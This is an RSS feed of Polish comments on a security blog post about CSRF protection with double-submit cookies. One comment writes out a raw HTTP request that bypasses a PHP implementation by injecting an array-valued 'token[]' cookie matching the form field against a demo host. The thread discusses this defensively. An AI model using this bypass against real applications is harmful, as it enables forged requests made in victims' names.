<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    
    <title>Paweł Goleń, blog - Formularz komentarzy &quot;CSRF, double submit cookies i good enough&quot;</title>
    <link>https://archive.mroczna-zaloga.org/</link>
    <description>Paweł Goleń, blog - Zrzędzenie starego zgreda</description>
    <dc:language>pl</dc:language>
    <generator>Serendipity  - http://www.s9y.org/</generator>
    <pubDate>Sat, 15 Mar 2025 22:14:46 GMT</pubDate>

    <image>
        <url>https://archive.mroczna-zaloga.org/templates/bulletproof/img/s9y_banner_small.png</url>
        <title>RSS: Paweł Goleń, blog - Formularz komentarzy &quot;CSRF, double submit cookies i good enough&quot; - Paweł Goleń, blog - Zrzędzenie starego zgreda</title>
        <link>https://archive.mroczna-zaloga.org/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>Paweł Goleń: CSRF, double submit cookies i good enough</title>
    <link>https://archive.mroczna-zaloga.org/archives/1141-csrf-double-submit-cookies-i-good-enough.html#c8847</link>
            <category></category>
    
    <comments>https://archive.mroczna-zaloga.org/archives/1141-csrf-double-submit-cookies-i-good-enough.html#comments</comments>
    <wfw:comment>https://archive.mroczna-zaloga.org/wfwcomment.php?cid=1141</wfw:comment>

    

    <author>nospam@example.com (Paweł Goleń)</author>
    <content:encoded>
    Tak, przy czym to jest atak na implementację, a nie na samą metodę ochrony przed CSRF. Dość specyficzny dla PHP, aczkolwiek działający :)  
    </content:encoded>

    <pubDate>Sun, 09 Sep 2012 17:40:38 +0200</pubDate>
    <guid isPermaLink="false">https://archive.mroczna-zaloga.org/archives/1141-guid.html#c8847</guid>
    
</item>
<item>
    <title>dariusz: CSRF, double submit cookies i good enough</title>
    <link>https://archive.mroczna-zaloga.org/archives/1141-csrf-double-submit-cookies-i-good-enough.html#c8846</link>
            <category></category>
    
    <comments>https://archive.mroczna-zaloga.org/archives/1141-csrf-double-submit-cookies-i-good-enough.html#comments</comments>
    <wfw:comment>https://archive.mroczna-zaloga.org/wfwcomment.php?cid=1141</wfw:comment>

    

    <author>nospam@example.com (dariusz)</author>
    <content:encoded>
    Zrobiłem szybki test i wygląda na to, że jeżeli cookie jest tablicą to PHP ignoruje kolejność i bierze je pod uwagę. Poniższy request zwraca &quot;OK&quot;:

POST / HTTP/1.1
Host: victim.threats.pl
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/15.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,pl;q=0.7,en-us;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://victim.threats.pl/
Cookie: token=3a2aa8e2f1130ad4968520d7095f7a3ae3d301a2; token[]=csrfdemo;
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

action=&amp;token[]=csrfdemo  
    </content:encoded>

    <pubDate>Thu, 06 Sep 2012 16:26:26 +0200</pubDate>
    <guid isPermaLink="false">https://archive.mroczna-zaloga.org/archives/1141-guid.html#c8846</guid>
    
</item>
<item>
    <title>Piotr Bratkowski: CSRF, double submit cookies i good enough</title>
    <link>https://archive.mroczna-zaloga.org/archives/1141-csrf-double-submit-cookies-i-good-enough.html#c8554</link>
            <category></category>
    
    <comments>https://archive.mroczna-zaloga.org/archives/1141-csrf-double-submit-cookies-i-good-enough.html#comments</comments>
    <wfw:comment>https://archive.mroczna-zaloga.org/wfwcomment.php?cid=1141</wfw:comment>

    

    <author>nospam@example.com (Piotr Bratkowski)</author>
    <content:encoded>
    Cześć,

Gdzieś w głowie mi się obija, że widziałem tabele w której było opisane jak konkretne web serwery i konkretne języki interpretują np. powtarzające się cookies. Teraz nie mogę tego wyszperać, ale wydaje mi się, że w tym scenariuszu ma do duży wpływ na istnienie/nie istnienie podatności.

Pozdr.,
Piotrek  
    </content:encoded>

    <pubDate>Mon, 03 Sep 2012 09:06:20 +0200</pubDate>
    <guid isPermaLink="false">https://archive.mroczna-zaloga.org/archives/1141-guid.html#c8554</guid>
    
</item>

</channel>
</rss>